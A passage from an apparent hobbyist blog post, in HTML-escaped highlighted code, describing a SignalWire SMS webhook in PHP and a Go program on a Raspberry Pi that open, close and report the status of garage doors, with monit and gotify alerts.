&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$isValid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;To&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;From&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;AccountSid&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;Body&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;key&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$allowedFrom&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;+number&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;+number&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$allowedTo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;+signalwire_number&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$isValid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;in_array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$to&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$allowedTo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;in_array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$allowedFrom&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt;  &lt;span class=&quot;nv&quot;&gt;$sid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;#34;&amp;lt;account sid&amp;gt;&amp;#34;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;#34;&amp;lt;assigned unique key&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;c1&quot;&gt;//If any of the expected server variables or blank, missing, or not correct, exit
&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;&lt;/span&gt;   &lt;span class=&quot;nx&quot;&gt;http_response_code&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;400&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
   &lt;span class=&quot;k&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;//[... snip ...]
&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$randomOpen&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;Welcome home&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;Knock knock!&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;Open Sesame!&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$randomClose&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;Closey Sesame!&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;Closing the door&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;Can\&amp;#39;t go home, but you can\&amp;#39;t stay here. We\&amp;#39;re closed&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$randomPause&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;Don\&amp;#39;t forget to renable later!&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;Alerts paused&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;/pre&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;After that is authenticated then we do some additional processing on the text to validate and clean it up &lt;em&gt;(not shown)&lt;/em&gt;. Here’s the basics of the response to signalwire after processing. &lt;code&gt;doorFunc&lt;/code&gt; handles sending the proper command to the golang program listening for it on the r-PI.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;pre class=&quot;chroma&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$verb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;#34;status&amp;#34;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;EOE&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;          &amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;           &amp;lt;Response&amp;gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;            &amp;lt;Message&amp;gt;$currStat and Monitoring is $currMonit&amp;lt;/Message&amp;gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;           &amp;lt;/Response&amp;gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;          &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;EOE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;#34;open&amp;#34;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;doorFunc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;open left&amp;#34;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            	&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;EOE&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;                 &amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;                  &amp;lt;Response&amp;gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;                   &amp;lt;Message&amp;gt;${msg}
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;                 ERROR sending the command, try again
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;                 &amp;lt;/Message&amp;gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;                  &amp;lt;/Response&amp;gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;                 &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;EOE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
           &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                  &lt;span class=&quot;nv&quot;&gt;$msg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$randomOpen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;rand&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$randomOpen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)];&lt;/span&gt;
           
                   &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;EOE&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;                     &amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;                      &amp;lt;Response&amp;gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;                       &amp;lt;Message&amp;gt;${msg}&amp;lt;/Message&amp;gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;                      &amp;lt;/Response&amp;gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;                     &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;EOE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                  &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

         &lt;span class=&quot;k&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
              &lt;span class=&quot;nv&quot;&gt;$msg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$randomError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;rand&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$randomError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)];&lt;/span&gt;
              &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;EOE&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;               &amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;                &amp;lt;Response&amp;gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;                 &amp;lt;Message&amp;gt;${msg}.
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;               Valid actions are:
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;               pause
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;               unpause
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;               open &amp;lt;left or right&amp;gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;               close &amp;lt;left or right&amp;gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;               status
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;               &amp;lt;/Message&amp;gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;                &amp;lt;/Response&amp;gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;               &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;EOE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;/pre&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The same type of logic is done for the right door and for closing both as well. This isn’t the best PHP code in the world, but it does get the job done securely enough for my current needs. I also have monitoring on the PI to tell if any of them are ‘open’ based on the sensor status, after 15 minutes or so. That way in case we forget a door being open alerts get sent and we can then close the door! The pause/unpause are for those alerts. This is handled via &lt;a href=&quot;https://mmonit.com/monit/&quot;&gt;monit&lt;/a&gt; and &lt;a href=&quot;https://gotify.net/&quot;&gt;gotify&lt;/a&gt; for push alerts to our phone. Monit checks the status of the web page &lt;em&gt;(above)&lt;/em&gt; and if it parses out that the Left Door or Right Door is open for longer than two checks, it sends off an alert to the Gotify server. Gotify in turn notifies our phones of the situation. If you haven’t looked into either of these tools, I highly recommend them each. Great monitoring capabilities for Linux servers and push notifications for Android phones.&lt;/p&gt;

&lt;h3&gt;Godor program&lt;/h3&gt;

&lt;p&gt;For this portion I needed a program capable of not using a ton of memory or resources as it would be running long-term on the R-PI zero. I know python and I know python has some good capabilties with the R-PI and libraries, but I chose to use golang. I wanted to learn more about the language with a useful project and make sure it would be as lightweight as possible &lt;em&gt;without writing C&lt;/em&gt;. I settled on a golang program to be able to do the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Listen indefinitely for incoming network connections for triggers&lt;/li&gt;
&lt;li&gt;Signal the R-PI to trigger appropriately based on keyword triggers&lt;/li&gt;
&lt;li&gt;Report back the status of trigger command&lt;/li&gt;
&lt;li&gt;Report status of sensors when triggered&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This came to be known as &lt;code&gt;Godor&lt;/code&gt;. It’s not a difficult program and Golang made it almost trivial to do. The basics of it are thus:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-golang&quot;&gt;&lt;pre class=&quot;chroma&quot;&gt;&lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

	&lt;span class=&quot;nx&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;rpio&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nb&quot;&gt;panic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Sprint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;Unable to open gpio, exiting: %v&amp;#34;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


	&lt;span class=&quot;k&quot;&gt;defer&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;rpio&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;


	&lt;span class=&quot;nf&quot;&gt;startup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

	&lt;span class=&quot;nf&quot;&gt;listenForConns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;startup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;left_pin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;rpio&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Pin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;left_pin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;High&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;left_pin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

	&lt;span class=&quot;nx&quot;&gt;right_pin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;rpio&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Pin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;21&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;right_pin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;High&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;right_pin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

	&lt;span class=&quot;nx&quot;&gt;left_pin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;PullUp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;right_pin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;PullUp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

	&lt;span class=&quot;nx&quot;&gt;ldoor&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;rpio&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Pin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;27&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;ldoor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;ldoor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;PullUp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

	&lt;span class=&quot;nx&quot;&gt;rdoor&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;rpio&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Pin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;rdoor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;rdoor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;PullUp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;listenForConns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;ln&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;net&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Listen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;tcp&amp;#34;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;:&amp;lt;port&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

